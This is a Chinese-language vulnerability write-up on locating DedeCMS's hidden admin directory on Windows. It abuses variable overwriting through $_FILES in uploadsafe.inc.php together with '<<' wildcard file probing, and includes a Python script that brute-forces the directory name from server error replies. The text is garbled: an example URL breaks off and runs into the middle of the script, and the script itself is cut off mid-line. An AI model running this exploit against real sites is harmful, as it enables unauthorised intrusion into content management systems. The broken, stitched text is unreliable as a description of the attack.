Dedecms找后台 ============= 一、漏洞简介 ------------ 仅针对windows系统 二、漏洞影响 ------------ 三、复现过程 ------------ ### 代码分析 进入正题 首先看核心文件common.inc.php 大概148行左右 if($_FILES) { require_once(DEDEINC.'/uploadsafe.inc.php'); } uploadsafe.inc.php if( preg_match('#^(cfg_|GLOBALS)#', $_key) ) { exit('Request var not allow for uploadsafe!'); } $$_key = $_FILES[$_key]['tmp_name']; //获取temp_name ${$_key.'_name'} = $_FILES[$_key]['name']; ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']); ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']); if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ) { if(!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); } } if(empty(${$_key.'_size'})) { ${$_key.'_size'} = @filesize($$_key); } $imtypes = array ( "image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp" ); if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $image_dd = @getimagesize($$_key); //问题就在这里,获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。 if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } } ...... 注意\$\$\_key这一句,变量\$key取自于\$\_FILE,由于\$*FILE可控自然\$key也可控,此处理论上是可以覆盖任意变量,但是前面有个正则判断不能出现cfg*\|GLOBALS。(但是应该还可以覆盖其他变量此处感觉还可以深挖) 本人出发点是找个可以利用\<\<通配符猜解后台目录,所以只要\$\$\_key参数可控就可以达到目的。 但在这之前有个if(!defined(\'DEDEADMIN\'))的判断,这个很好绕过设置tmp\_name为0或者1.jpg含. 就可以绕过。 最后关键的一点就是要让文件存在还和不存在返回不同的内容就要控制type参数了。 当目录文件存在的时候 返回正常页面。当不存在的时候返回:Upload filetype not allow ! 举个例子 get: http://localhost/test.php?poc=./d"+res.text if "Upload filetype not allow !" in res.text and res.status_code == 200: valid_file.append(filename) except: pass #print valid_file #print valid_file if len(valid_file): if "/tags.php" in valid_file: for i in valid_file: if i == "/tags.php": return i else: file_name = choice(valid_file) return file_name else: return False def Bute(self): f_name = self.Check() #print f_name if f_name != False: if f_name == "/tags.php": prefix = "./" else: prefix = "./../" flag = 0 global characters,back_dir,data,check_message for num in range(1,7): if flag: break for pre in itertools.permutations(characters,num): pre = ''.join(list(pre)) data["_FILES[tools][tmp_name]"] = data["_FILES[tools][tmp_name]"].format(p=pre) print("testing",pre) r = requests.post(self.target+f_name,data=data) if "Upload filetype not allow !" not in r.text and r.status_code == 200: flag = 1 back_dir = pre data["_FILES[tools][tmp_name]"] = "%s{p}<